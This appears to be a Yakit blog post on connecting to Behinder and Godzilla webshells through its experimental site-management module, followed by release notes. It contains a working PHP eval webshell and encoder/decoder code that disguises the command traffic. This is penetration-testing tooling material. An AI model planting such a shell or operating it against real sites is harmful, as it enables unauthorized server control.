前言
在 Yaklang v1.3.0 版本中,我们更新了一个试验性功能——网站管理,方便各位管理员们管理"自己"的站点。
在管理不是自己的网站前,需要先获取合法的授权!
支持种类
冰蝎、哥斯拉、蚁剑是目前市面上比较流行的三款Webshell 管理工具,在此先向前辈们致敬。
目前 Yakit 中的网站管理支持管理冰蝎4、哥斯拉类型的 shell,功能涵盖了存活探测、获取基础信息,命令执行,以及部分的文件管理;后续会加上常用的一些功能。
Yakit中的使用
哥斯拉
连接哥斯拉的shell 比较简单,直接点击试验性功能中的网站管理模块,在右上角点击添加网站,可以看见如下表单,填好对应的字段即可进行连接了。
获取基础信息
后续在 Yakit 中可能着重在通过哥斯拉加载插件实现更多的功能。
冰蝎3
冰蝎在 v4.0 版本推出了自定义协议通讯的方式,因此和冰蝎3 的连接方式有些许的不同,我们先以简单的冰蝎3为例,
可以发现有两栏编解码器的选择框,由于冰蝎3的 class payload 中默认了AES/XOR 的加解密的方式,因此,对于冰蝎3 的连接,我们无需对编解码器进行选择,只需要填写 URL、脚本类型、密钥后,点击添加即可。
随后可以右键选中刚才添加的 shell ,进行存活检测,发现连接成功
进入shell 查看基本信息
冰蝎4
在讲如何连接自定义协议的冰蝎4的shell 前,先来看看一个自定义了远程/本地加解密的冰蝎4 shell的连接过程,为了查看流量方便,我们使用 PHP 的shell 进行演示:
上面的流程图结合下面的流量数据包一起看,更容易理解
用最简单的话来说就是:
本地加密就是加密或者编码 Request 的请求包,这个被加密过的请求包 "aaaPayloadbbb" 需要远程解密函数去解密或者解码,拿到真正需要执行的 Payload.
远程加密就是写在 Payload 中的用于加密或者编码的一个函数,也就是上图中的下面的代码
function encrypt($data){
return strrev($data);
}
由于远程加密函数加密的是返回的结果,也就是 Response 的 body,所以最终的结果,还需要本地解密函数进行处理。
也就是说是一种交叉的关系,在 Yakit 中没有使用 远程/本地 编解码器的概念,而是使用了 数据包/回显 编解码器的概念,数据包编解码器就是用于设置加解密 request body 和 response body 的,回显编解码器就是用于设置Payload 中的加解密函数部分。下面我们来用 Yakit 编写 数据包/回显编解码器,连接一个自定义的 shell。
数据包编码器 如下:
wsmPacketEncoder = func(raw) {
packet = "aaa" + string(raw) + "bbb"
return []byte(packet)
}
数据包解码器需要写在 shell 中,也就是下面的 Decrypt 函数:
<?php
function Decrypt($data){
$data = substr($data, 3, strlen($data) - 6);
return $data;
}
$post = Decrypt(file_get_contents("php://input"));
eval($post);
?>
预览如下:
回显编码器
wsmPayloadEncoder = func(reqBody) {
return `
function encrypt($data){
return strrev($data);
}
`
}
回显解码器
wsmPayloadDecoder = func(reqBody) {
return string(reqBody).Reverse()
}
预览如下:
随后我们就可以在添加网站的表单处,选择我们刚才写好的 编解码器,此处的密钥可以随意填写了
随后就可以正常的使用了,我们特意添加一个代理,用于观察数据包情况
检测是否存活的数据包
获取基础信息的数据包
总结一下就是,在 Yakit 中 数据包编解码器就是用于编解码/加解密 Http 数据包的,回显编解码器就是用于编解码/加解密回显内容的。
试验性功能
由于是试验性功能,后续会对网站管理模块功能进一步的完善,例如可能使用类似 yaml profile 的方式。以及导出为yaklang 的一个库,供大家在代码中也可以方便的进行管理。大家有什么好的想法,也欢迎沟通。
最后
本文避重就轻的只是介绍了如何连接相关的shell,其实冰蝎、哥斯拉服务端的一些实现更加值得学习,后续有机会的话也另开篇幅讲讲,大家也可以通过它们的源码进行学习。
END
更新日志
Yaklang 1.3.0-sp2
1. 新增/优化文档:xhtml cli tls http
2. 优化自动补全策略,增加一些对结构成员和接口成员的补全
3. Wsm:清除缓存并删除一些无用操作
4. CLI 参数返回值的渲染类型优化,新增 FileNames 的新参数
5. 优化静态分析的接口测试
6. 新增 behinder memshell 支持
7. 新增迁移项目基础目录的方法
8. 静态行为方法新增限制和上下文
9. 修复端口扫描中对 GM TLS 的不恰当处理
10. 优化 VM 中 Panic 的逻辑
11. 新增数据包变形方法
12. 新增插件对上下文的更细节控制,在上下文取消的时候,尽快停止插件执行
Yakit 1.2.9
1. Webfuzzer上线暂停继续功能
2. Webfuzzer批量发包列表增加Payload排序功能
3. History列表增加序号排序功能
4. 修复未连接引擎无法关闭Yakit的问题
5. 修复端口扫描插件列表抖动问题
6. 优化Webfuzzer批量发包列表展示新数据的逻辑
YAK官方资源
Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ